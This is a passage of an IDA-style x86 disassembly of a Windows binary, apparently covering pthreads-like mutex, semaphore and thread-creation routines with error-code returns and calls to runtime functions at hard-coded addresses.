; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3EC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3EC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3F4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3F4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3F0
		mov	dword_50E3F4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3F0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9C0
		call	near ptr 7C9010EDh
		nop


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		call	near ptr 77C1F2BCh
		nop
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3F0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3F0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3F4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3F4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 7EF73FE8h
		dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		nop
		call	near ptr 2740A0Dh


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
